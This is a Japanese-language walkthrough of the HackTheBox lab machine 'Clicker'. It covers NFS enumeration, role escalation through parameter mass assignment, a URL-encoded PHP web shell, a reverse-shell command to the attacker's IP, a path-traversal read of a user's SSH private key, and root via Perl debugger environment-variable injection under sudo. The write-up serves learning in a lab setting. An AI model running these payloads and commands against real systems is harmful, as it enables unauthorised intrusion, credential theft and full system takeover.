HackTheBox Clicker WriteUp

今回は、HackTheBoxのMediumマシン「Clicker」のWriteUpです。
名前から連想できる脆弱性はなさそうですね。どのようなマシンなのでしょうか。

![スクリーンショット 2024-01-28 23.34.20.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/0eccca6b-7d0a-28d1-ca19-8449e73d143d.png)

グラフは普通のMediumという感じですね。
評価は高そうなので、楽しみです。攻略目指してがんばります！

HackTheBoxってなに？という方はこちらの記事を見てみてください。一緒にハッキングしましょう！

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476

## Clicker

### 侵入

それでは、ポートスキャンを行います。```nmap```を実行しましょう。

```bash
PORT      STATE SERVICE  REASON         VERSION
22/tcp    open  ssh      syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 89:d7:39:34:58:a0:ea:a1:db:c1:3d:14:ec:5d:5a:92 (ECDSA)
|_  256 b4:da:8d:af:65:9c:bb:f0:71:d5:13:50:ed:d8:11:30 (ED25519)
80/tcp    open  http     syn-ack ttl 63 Apache httpd 2.4.52 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://clicker.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
111/tcp   open  rpcbind  syn-ack ttl 63 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      35009/tcp6  mountd
|   100005  1,2,3      35169/udp6  mountd
|   100005  1,2,3      46275/tcp   mountd
|   100005  1,2,3      58220/udp   mountd
|   100021  1,3,4      34037/tcp6  nlockmgr
|   100021  1,3,4      34799/udp6  nlockmgr
|   100021  1,3,4      44343/tcp   nlockmgr
|_  100021  1,3,4      59823/udp   nlockmgr
2049/tcp  open  nfs      syn-ack ttl 63 3-4 (RPC #100003)
33047/tcp open  mountd   syn-ack ttl 63 1-3 (RPC #100005)
41591/tcp open  status   syn-ack ttl 63 1 (RPC #100024)
44343/tcp open  nlockmgr syn-ack ttl 63 1-4 (RPC #100021)
46275/tcp open  mountd   syn-ack ttl 63 1-3 (RPC #100005)
51229/tcp open  mountd   syn-ack ttl 63 1-3 (RPC #100005)
```

Linuxにしては珍しくポートが結構あいています。
とりあえず、80番があいているのでブラウザでアクセスしてみましょう。

![スクリーンショット 2024-01-01 15.45.05.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/5d8c95c3-ba97-70f0-f10c-77e54796c3c9.png)

ゲームのサイトでしょうか。説明を見るに、「Clicker」とはゲームの名前を示すようです。
遷移を見てます。サイトの上部に3つのボタンがあり、```login```と```register```が可能であることがわかります。
当然、ログイン情報は持っていないので、とりあえず登録を行なってみます。
登録に成功すると、ボタンの下に緑色でメッセージが表示されます。

![スクリーンショット 2024-01-01 15.51.03.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/d5293959-d067-ea70-0944-5e2b3395db74.png)

では、登録した情報を使用してログインしてみましょう。

![スクリーンショット 2024-01-01 15.52.41.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/c3ad69d9-4788-2310-0f40-35ad2a2826a8.png)

```Welcome pentester```と表示され、ボタンも変更されていることがわかります。
```Profile```では、ユーザのクリック数やレベルを確認することができるようです。```Play```を押すと、ゲーム画面へ遷移します。

![スクリーンショット 2024-01-01 15.54.50.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/ad7765e0-bc80-7c84-5cc1-9bc776f8426f.png)

マウスポインターのボタンをクリックすることで、カウントが増えていき、レベルアップボタンを押すことでレベルが上がるといったゲームのようです。
セーブをすると、カウント数とレベルが保存され、プロフィールで確認することができます。

![スクリーンショット 2024-01-01 15.58.37.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/59c50fea-ddc5-eb8e-4f77-872dcfcc610b.png)

Webページの大体の仕様はわかりましたが、特に脆弱性につながりそうな箇所は見つかりませんでした。

次に、ポートスキャンの結果から、```nfs```がオープンしていたことがわかっているので、マウントができるかどうか調べてみます。

```bash
$ showmount -e 10.10.11.232
Export list for 10.10.11.232:
/mnt/backups *
```

```/mnt/backups```がマウント可能であることがわかりました。マウントしてみましょう。

```bash
$ sudo mount -t nfs 10.10.11.232:/mnt/backups ./mountf -o nolock
```

特にエラーが出なければ成功です。フォルダにアクセスし、どのようなファイルが存在するかみてみます。

```bash
$ ls -l mountf/
total 2232
-rw-r--r-- 1 root root 2284115 Sep  2 05:27 clicker.htb_backup.zip
```

zipファイルを発見しました。コピーし、解凍してみましょう。

```bash
$ unzip clicker.htb_backup.zip         
Archive:  clicker.htb_backup.zip
   creating: clicker.htb/
  inflating: clicker.htb/play.php    
  inflating: clicker.htb/profile.php  
  inflating: clicker.htb/authenticate.php  
  inflating: clicker.htb/create_player.php  
  inflating: clicker.htb/logout.php  
   creating: clicker.htb/assets/
  ... 略 ...
  inflating: clicker.htb/assets/css/bootstrap.css  
  inflating: clicker.htb/assets/css/bootstrap-reboot.css.map  
  inflating: clicker.htb/login.php   
  inflating: clicker.htb/admin.php   
  inflating: clicker.htb/info.php    
  inflating: clicker.htb/diagnostic.php  
  inflating: clicker.htb/save_game.php  
  inflating: clicker.htb/register.php  
  inflating: clicker.htb/index.php   
  inflating: clicker.htb/db_utils.php  
   creating: clicker.htb/exports/
  inflating: clicker.htb/export.php  
```

どうやらWebサイトで使用されているファイルのようです。
認証情報や脆弱なコードを発見できそうです。一つずつ確認していきます。

### ロールの権限昇格

一通り確認し終わりました。
まず、コードを読んでいくとわかることとしてゲームに登録したプレイヤーにはロールが付与されます。デフォルトでは```User```です。

```php
function create_new_player($player, $password) {
	global $pdo;
	$params = ["player"=>$player, "password"=>hash("sha256", $password)];
	$stmt = $pdo->prepare("INSERT INTO players(username, nickname, password, role, clicks, level) VALUES (:player,:player,:password,'User',0,0)");
	$stmt->execute($params);
}
```

ロールには、```User```の他に、```Admin```という権限が存在し、```Admin```権限を持つユーザのみ```admin.php```へアクセス可能であるようです。

```bash
echo '<a class="nav-link fw-bold py-1 px-0 active" href="/profile.php">Profile</a>';
echo '<a class="nav-link fw-bold py-1 px-0 active" href="/logout.php">Logout</a>';
echo '<a class="nav-link fw-bold py-1 px-0 active" href="/play.php">Play</a>';
if ($_SESSION["ROLE"] == "Admin") {
    echo '<a class="nav-link fw-bold py-1 px-0 active" href="/admin.php">Administration</a>';
} 	    	
```

```admin.php```では、```export.php```を使用しトッププレイヤーの情報をエクスポートすることが可能であるようです。
```export.php```の内容をみてみましょう。

```php
if (isset($_POST["threshold"]) && is_numeric($_POST["threshold"])) {
    $threshold = $_POST["threshold"];
}
$data = get_top_players($threshold);
$currentplayer = get_current_player($_SESSION["PLAYER"]);
$s = "";
if ($_POST["extension"] == "txt") {
    $s .= "Nickname: ". $currentplayer["nickname"] . " Clicks: " . $currentplayer["clicks"] . " Level: " . $currentplayer["level"] . "\n";
    foreach ($data as $player) {
    $s .= "Nickname: ". $player["nickname"] . " Clicks: " . $player["clicks"] . " Level: " . $player["level"] . "\n";
  }
} elseif ($_POST["extension"] == "json") {
  $s .= json_encode($currentplayer);
  $s .= json_encode($data);
} else {
  $s .= '<table>';
  $s .= '<thead>';
  $s .= '  <tr>';
  $s .= '    <th scope="col">Nickname</th>';
  $s .= '    <th scope="col">Clicks</th>';
  $s .= '    <th scope="col">Level</th>';
  $s .= '  </tr>';
  $s .= '</thead>';
  $s .= '<tbody>';
  $s .= '  <tr>';
  $s .= '    <th scope="row">' . $currentplayer["nickname"] . '</th>';
  $s .= '    <td>' . $currentplayer["clicks"] . '</td>';
  $s .= '    <td>' . $currentplayer["level"] . '</td>';
  $s .= '  </tr>';

  foreach ($data as $player) {
    $s .= '  <tr>';
    $s .= '    <th scope="row">' . $player["nickname"] . '</th>';
    $s .= '    <td>' . $player["clicks"] . '</td>'; 
    $s .= '    <td>' . $player["level"] . '</td>';
    $s .= '  </tr>';
  }
  $s .= '</tbody>';
  $s .= '</table>';
} 

$filename = "exports/top_players_" . random_string(8) . "." . $_POST["extension"];
file_put_contents($filename, $s);
header('Location: /admin.php?msg=Data has been saved in ' . $filename);
?>
```

このコードでは、```$_POST["extension"]```で指定された拡張子でファイルを作成し、```exports```配下に保存しています。```txt```と```json```でなくとも指定可能であるため、```php```を指定することでWebシェルを作成できそうです。
つまり、ロールの権限を```Admin```にすることさえ成功すれば侵入できるということです。

では、どうやってロールの権限を```Admin```にするのでしょうか。その答えはゲームの情報を保存する処理にありました。

```php
function save_profile($player, $args) {
	global $pdo;
  	$params = ["player"=>$player];
	$setStr = "";
  	foreach ($args as $key => $value) {
    		$setStr .= $key . "=" . $pdo->quote($value) . ",";
	}
  	$setStr = rtrim($setStr, ",");
  	$stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
  	$stmt -> execute($params);
}
```

上のコードでは、```$args```で送られてきた値をそれに対応する```value```で更新しています。
実際にゲーム情報を保存するときに送信されているリクエストをみてみましょう。

```bash
GET /save_game.php?clicks=20&level=0 HTTP/1.1
Host: clicker.htb
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://clicker.htb/play.php
Upgrade-Insecure-Requests: 1
```

```clicks```と```level```が送られてきています！
これらに対応する値（20、0）が保存されているわけです。勘のいい方はもうお気づきかもしれません。そうです。ロールを変更したいのであれば、同じようにパラメータに```role```を追加してあげればいいのです。
```role```を追加し、リクエストを送信してみましょう。

![スクリーンショット 2024-01-01 18.02.44.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/0e10498b-c3f3-2032-ec6d-c2e250849406.png)

エラーが表示されてしまいました。。。
あれ？と思いみてみると、フィルター処理を行なっているコードを発見しました。

```php
<?php
session_start();
include_once("db_utils.php");

if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {
	$args = [];
	foreach($_GET as $key=>$value) {
		if (strtolower($key) === 'role') {
			// prevent malicious users to modify role
			header('Location: /index.php?err=Malicious activity detected!');
			die;
		}
		$args[$key] = $value;
	}
	save_profile($_SESSION['PLAYER'], $_GET);
	// update session info
	$_SESSION['CLICKS'] = $_GET['clicks'];
	$_SESSION['LEVEL'] = $_GET['level'];
	header('Location: /index.php?msg=Game has been saved!');
	
}
?>
```

GETパラメータとして```role```が存在していた場合に攻撃だとして処理を終了させる処理がありました。。。
もしかして違う方向を向いていたかなと一瞬思ったのですが、みてください。フィルターは完全一致で照合しています。そのため、少しでも違う形でリクエストを通すことができればうまくいくということです。
普段からCTFをやっていることもあり、慣れていました。様々な方法がありますが、私は```%09```を```role```の前に付与し、再度リクエストを送信します。

![スクリーンショット 2024-01-01 18.09.02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/8a3dc7ea-cc03-aa6a-d14a-16bd697fd534.png)

うまく保存できたようです！
ここからが重要です！再度、ログインをし直す必要があります！
私はログインをし直す必要があると気づかず、いつまで経っても```admin.php```にアクセスできなかったのでかなりの時間を無駄にしてしまいました。泣

再ログインすると、```Administration```というボタンが表示されているはずです。

![スクリーンショット 2024-01-01 18.13.01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/7400839a-e92e-147f-b6a8-3e2aa36ea5a3.png)

ロールの権限昇格に成功しました！

### Webシェルの作成

それでは、```Administration```にアクセスしてみましょう。

![スクリーンショット 2024-01-01 18.14.21.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/e1f295f4-6d1b-7608-df12-ae4344827c74.png)

トッププレイヤーが表示されており、画面下には拡張子を選ぶリストと```Export```ボタンがあります。
先ほども記述させていただきましたが、この拡張子を任意のもの（php）に変換し、Webシェルを作成します。

問題は、どのようにしてシェルを実行するPHPコードを埋め込むかです。```export.php```では、トッププレイヤーの```nickname```と```clicks```、```level```をファイル内に埋め込むようなので、まず自分自身をトッププレイヤーにする必要があります。
これは簡単です。トッププレイヤーになる条件は```clicks```数が```1000000```以上であればいいので、```role```を```Admin```にしたように、```clicks```も```1000000```へ変更しましょう。

![スクリーンショット 2024-01-01 18.20.04.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/cca8fd68-7bab-3d8b-e2b4-36ada06e97f3.png)

作成したユーザがトッププレイヤーになりました！
あとは、PHPコードを埋め込む方法ですが、```nickname```を変更することで実現できます。
下記のようなリクエストを送信しましょう。

```bash
GET /save_game.php?clicks=1000000&level=1&nickname=%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%24%5f%47%45%54%5b%27%63%6d%64%27%5d%29%3b%20%3f%3e HTTP/1.1
```

```nickname```に指定したのは、PHPコードをURLエンコードさせたものです。
こうすることで、ランキングのニックネーム欄が空欄になっていると思います。

![スクリーンショット 2024-01-01 18.24.26.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/a16bafc2-b829-5fa2-6bfd-cbd9f50ab3b3.png)

あとはエクスポートするだけです。
拡張子のパラメータをPHPに変更し、リクエストを送信しましょう。

![スクリーンショット 2024-01-01 18.25.56.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/0235b5c0-5767-efe2-6700-85433da23b78.png)

PHPファイルが保存されました！
```cmd=whoami```を指定し、アクセスしてみましょう。

![スクリーンショット 2024-01-01 18.27.16.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/7a6f127a-d18c-4daa-6011-a8de1d86b8bc.png)

コマンドが実行できました！

## www-data としてのシェル

それでは、シェルを取得しましょう。

```bash
GET /exports/top_players_cq0d791j.php?cmd=%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%34%2f%32%31%32%31%20%30%3e%26%31%22
(bash -c "bash -i >& /dev/tcp/10.10.14.4/2121 0>&1")
```

待ち受けを確認します。

```bash
$ nc -lnvp 2121    
listening on [any] 2121 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.232] 55112
bash: cannot set terminal process group (1256): Inappropriate ioctl for device
bash: no job control in this shell
www-data@clicker:/var/www/clicker.htb/exports$ whoami
whoami
www-data
```

侵入成功です！

### 横移動

それでは、引き続き攻略を続けていきましょう。
まずは、ホームディレクトリを確認し、どのようなユーザがいるかみてみます。

```bash
www-data@clicker:/home$ ls -la
ls -la
total 12
drwxr-xr-x  3 root root 4096 Sep  5 19:19 .
drwxr-xr-x 18 root root 4096 Sep  5 19:19 ..
drwxr-x---  7 jack jack 4096 Sep  6 12:30 jack
```

```jack```の存在を確認しました。
ディレクトリへはアクセスできないようなので、他に```jack```に権限があるファイルやディレクトリが存在しないかみてみましょう。

```bash
www-data@clicker:/tmp$ find / -user jack 2>/dev/null
find / -user jack 2>/dev/null
/home/jack
/var/crash/_opt_manage_execute_query.1000.crash
/opt/manage
/opt/manage/README.txt
/opt/manage/execute_query
```

明らかに怪しさそうなバイナリが```/opt```配下にあることがわかりました。
とりあえず、```README.txt```をみてみましょう。

```bash
www-data@clicker:/opt/manage$ cat README.txt
cat README.txt
Web application Management

Use the binary to execute the following task:
	- 1: Creates the database structure and adds user admin
	- 2: Creates fake players (better not tell anyone)
	- 3: Resets the admin password
	- 4: Deletes all users except the admin
```

どうやら、```execute_query```は実行と同時に指定した引数に応じてSQLに関する処理を行うようです。
さらに詳しくみてみるため、ローカルにダウンロードし```Ghidra```で解析してみましょう。

解析してみると、メイン関数で気になる処理を発見しました。

```bash
undefined8 main(int param_1,long param_2)
{
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  if (param_1 < 2) {
           
      puts("ERROR: Invalid arguments");
      uVar2 = 2;
      goto LAB_001015e1;
    case 1:
      strncpy(pcVar3,"create.sql",0x14);
      break;
    case 2:
      strncpy(pcVar3,"populate.sql",0x14);
      break;
    case 3:
      strncpy(pcVar3,"reset_password.sql",0x14);
      break;
    case 4:
      strncpy(pcVar3,"clean.sql",0x14);
      break;
    default:
      strncpy(pcVar3,*(char **)(param_2 + 0x10),0x14);
    }
    local_98 = 0x616a2f656d6f682f;
    local_90 = 0x69726575712f6b63;
    local_88 = 0x2f7365;
    sVar4 = strlen((char *)&local_98);
    sVar5 = strlen(pcVar3);
    __dest = (char *)calloc(sVar5 + sVar4 + 1,1);
    strcat(__dest,(char *)&local_98);
    strcat(__dest,pcVar3);
    setreuid(1000,1000);
    iVar1 = access(__dest,4);
    if (iVar1 == 0) {
      local_78 = 0x6e69622f7273752f;
      local_70 = 0x2d206c7173796d2f;
      local_68 = 0x656b63696c632075;
      local_60 = 0x6573755f62645f72;
      local_58 = 0x737361702d2d2072;
      local_50 = 0x6c63273d64726f77;
      local_48 = 0x62645f72656b6369;
      local_40 = 0x726f77737361705f;
      local_38 = 0x6b63696c63202764;
      local_30 = 0x203c20762d207265;
      local_28 = 0;
      sVar4 = strlen((char *)&local_78);
      sVar5 = strlen(pcVar3);
      pcVar3 = (char *)calloc(sVar5 + sVar4 + 1,1);
      strcat(pcVar3,(char *)&local_78);
      strcat(pcVar3,__dest);
      system(pcVar3);
    }
    else {
      puts("File not readable or not found");
    }
    uVar2 = 0;
  }
LAB_001015e1:
  if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
    return uVar2;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}
```

case文の1から4は```README.txt```で確認した通りの内容ですが、そのほかにデフォルトの挙動があるようです。
デフォルトの挙動が一体何をしているのかというと、```param_2```で指定したファイルパスに対して```/home/jack/queries```を追加し、完全なファイルパスを作成。その後、そのファイルを読み取っています！

試しに、```/etc/passwd```を読み取らせてみましょう。注意点としては、```/home/jack/queries/etc/passwd```になってしまうので、```../../../etc/passwd```を指定する必要があります。
また、前提として```param_1```は2以上である必要があるので、デフォルトにするためには、2から4以外の数字を指定します。

```bash
www-data@clicker:/opt/manage$ ./execute_query 5 ../../../etc/passwd
./execute_query 5 ../../../etc/passwd
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
```

読み取ることができました！
それでは、SSH鍵が取得できるか試してみましょう。

```bash
www-data@clicker:/opt/manage$ ./execute_query 5 ../.ssh/id_rsa
./execute_query 5 ../.ssh/id_rsa
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
-----BEGIN OPENSSH PRIVATE KEY---
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAs4eQaWHe45iGSieDHbraAYgQdMwlMGPt50KmMUAvWgAV2zlP8/1Y
J/tSzgoR9Fko8I1UpLnHCLz2Ezsb/MrLCe8nG5TlbJrrQ4HcqnS4TKN7DZ7XW0bup3ayy1
kAAZ9Uot6ep/ekM8E+7/39VZ5fe1FwZj4iRKI+g/BVQFclsgK02B594GkOz33P/Zzte2jV
Tgmy3+htPE5My31i2lXh6XWfepiBOjG+mQDg2OySAphbO1SbMisowP1aSexKMh7Ir6IlPu
nuw3l/luyvRGDN8fyumTeIXVAdPfOqMqTOVECo7hAoY+uYWKfiHxOX4fo+/fNwdcfctBUm
pr5Nxx0GCH1wLnHsbx+/oBkPzxuzd+BcGNZp7FP8cn+dEFz2ty8Ls0Mr+XW5ofivEwr3+e
30OgtpL6QhO2eLiZVrIXOHiPzW49emv4xhuoPF3E/5CA6akeQbbGAppTi+EBG9Lhr04c9E
2uCSLPiZqHiViArcUbbXxWMX2NPSJzDsQ4xeYqFtAAAFiO2Fee3thXntAAAAB3NzaC1yc2
EAAAGBALOHkGlh3uOYhkongx262gGIEHTMJTBj7edCpjFAL1oAFds5T/P9WCf7Us4KEfRZ
KPCNVKS5xwi89hM7G/zKywnvJxuU5Wya60OB3Kp0uEyjew2e11tG7qd2sstZAAGfVKLenq
f3pDPBPu/9/VWeX3tRcGY+IkSiPoPwVUBXJbICtNgefeBpDs99z/2c7Xto1U4Jst/obTxO
TMt9YtpV4el1n3qYgToxvpkA4NjskgKYWztUmzIrKMD9WknsSjIeyK+iJT7p7sN5f5bsr0
RgzfH8rpk3iF1QHT3zqjKkzlRAqO4QKGPrmFin4h8Tl+H6Pv3zcHXH3LQVJqa+TccdBgh9
cC5x7G8fv6AZD88bs3fgXBjWaexT/HJ/nRBc9rcvC7NDK/l1uaH4rxMK9/nt9DoLaS+kIT
tni4mVayFzh4j81uPXpr+MYbqDxdxP+QgOmpHkG2xgKaU4vhARvS4a9OHPRNrgkiz4mah4
```

SSH鍵を取得できました！

## jack としてのシェル

それでは、SSH接続を行いましょう。
接続する前に、鍵のフォーマットを正しく修正することを忘れないでください。

```bash
$ ssh -i jack_id_rsa jack@10.10.11.232  
jack@clicker:~$ whoami
jack
```

横移動に成功しました！

```bash
jack@clicker:~$ ls -l
total 8
drwx------ 2 jack jack 4096 Sep  5 19:19 queries
-rw-r----- 1 root jack   33 Jan  1 06:37 user.txt
```

フラグも無事取得できました！

### 権限昇格

攻略もいよいよ終盤です！
それでは、お決まりの```sudo -l```から実行してみましょう。

```bash
jack@clicker:~$ sudo -l
Matching Defaults entries for jack on clicker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jack may run the following commands on clicker:
    (ALL : ALL) ALL
    (root) SETENV: NOPASSWD: /opt/monitor.sh
```

```monitor.sh```がroot権限で実行できること、そして環境変数を変更できることがわかりました。
まずは、どのようなスクリプトなのかみてみましょう。

```bash
jack@clicker:/opt$ cat monitor.sh
#!/bin/bash
if [ "$EUID" -ne 0 ]
  then echo "Error, please run as root"
  exit
fi

set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;

data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
    exit;
else
    timestamp=$(/usr/bin/date +%s)
    /usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi
```

コードをみるに、```curl```で取得したデータに対して```xml_pp```を実行し、```$NOSAVE```が```false```の場合に、xmlファイルを保存するスクリプトのようです。
```xml_pp```をよく知らなかったので、調べてみました。

https://metacpan.org/dist/XML-Twig/view/tools/xml_pp/xml_pp

どうやら、XMLプリンターで、perlモジュールの一部であるようです。
スクリプト上に怪しい点を見つけれなかった私は、環境変数による権限昇格が行えないかみてみました。すると、下記の記事を発見しました。

https://www.elttam.com/blog/env/#content

この記事では、各言語の環境変数によるハッキング手法がまとめられています。その中の一つにperlがあり、```PERL5OPT```を使用することで、コマンドを実行していることがわかりました。
もう少し、詳しくみてみたいと思ったので、さらに検索し深掘ってみるとコマンド実行についてわかりやすい記事を発見しました。

https://www.tohoho-web.com/perl/environments.html

どうやら、```PERL5OPT```はオプションを指定するもののようです。実際にコマンドを読み込むのは```PERL5DB```のようです。
例だと、Perlスクリプトを実行しているようですが、通常のコマンドも実行できるか試してみましょう。

```bash
$ sudo PERL5OPT=-d PERL5DB="BEGIN {'whoami'}" /opt/monitor.sh
No DB::DB routine defined at /usr/bin/xml_pp line 9.
No DB::DB routine defined at /usr/lib/x86_64-linux-gnu/perl-base/File/Temp.pm line 870.
END failed--call queue aborted.
```

うまくいきません。指定の仕方を間違えているのでしょう。
もう少し調べてみることにしました。

しばらく調べていると、ドンピシャな記事を発見しました！

https://0xn3va.gitbook.io/cheat-sheets/web-application/command-injection#perl5db

記事によると、```PERL5OPT=-d PERL5DB='system("ls -la");'```で実行できるようです。
早速試してみましょう。

```bash
jack@clicker:/opt$ sudo PERL5OPT=-d PERL5DB='system("whoami");' /opt/monitor.sh
root
No DB::DB routine defined at /usr/bin/xml_pp line 9.
No DB::DB routine defined at /usr/lib/x86_64-linux-gnu/perl-base/File/Temp.pm line 870.
END failed--call queue aborted.
```

また失敗か？と一瞬思いましたが、一番上に```root```と出力されています！
これはきました！```/bin/bash```にSUIDが付与できるかも試してみましょう。

```bash
$ sudo PERL5OPT=-d PERL5DB='system("chmod u+s /bin/bash");' /opt/monitor.sh
No DB::DB routine defined at /usr/bin/xml_pp line 9.
No DB::DB routine defined at /usr/lib/x86_64-linux-gnu/perl-base/File/Temp.pm line 870.
END failed--call queue aborted.
```

特に出力はなしです。
権限を確認しましょう。

```bash
$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Jan  6  2022 /bin/bash
```

きました〜〜〜〜！！

## root としてのシェル

それでは、権限昇格を行いましょう！

```bash
jack@clicker:/opt$ bash -p
bash-5.1# whoami
root
```

権限昇格成功です！

```bash
bash-5.1# ls -l /root
total 12
drwxr-xr-x 2 root root 4096 Jan  1 11:30 diagnostic_files
drwxr-xr-x 2 root root 4096 Sep  5 19:19 restore
-rw-r----- 1 root root   33 Jan  1 06:37 root.txt
```

フラグも取得し、完全攻略達成です〜〜！

### 攻略を終えて


かなり楽しいマシンでした！特に、初期侵入は少しCTF要素もある感じがしましたが、記事でも書いたように、adminに昇格したときに再ログインが必要であることに気付かず結構時間を使ってしまったのが悔しかったです笑
最後の権限昇格では、Perlの環境変数を悪用するアプローチということで、そういった攻撃手法があるというのは知りつつも実際に試したことはなかったので貴重な経験でした。
足がかりはNFSからコードを確認することでした。HackTheBoxでNFSが開いていると怪しさ満点ですが、実社会でもアクセス制御を行わずに使用していることもあるかもしれません。適切な制御を呼びかけていきたいなと思います。
今後も、HackTheBoxのWriteUpを公開していきますので、みていただけると嬉しいです！
最後まで閲覧していただき、ありがとうございました〜！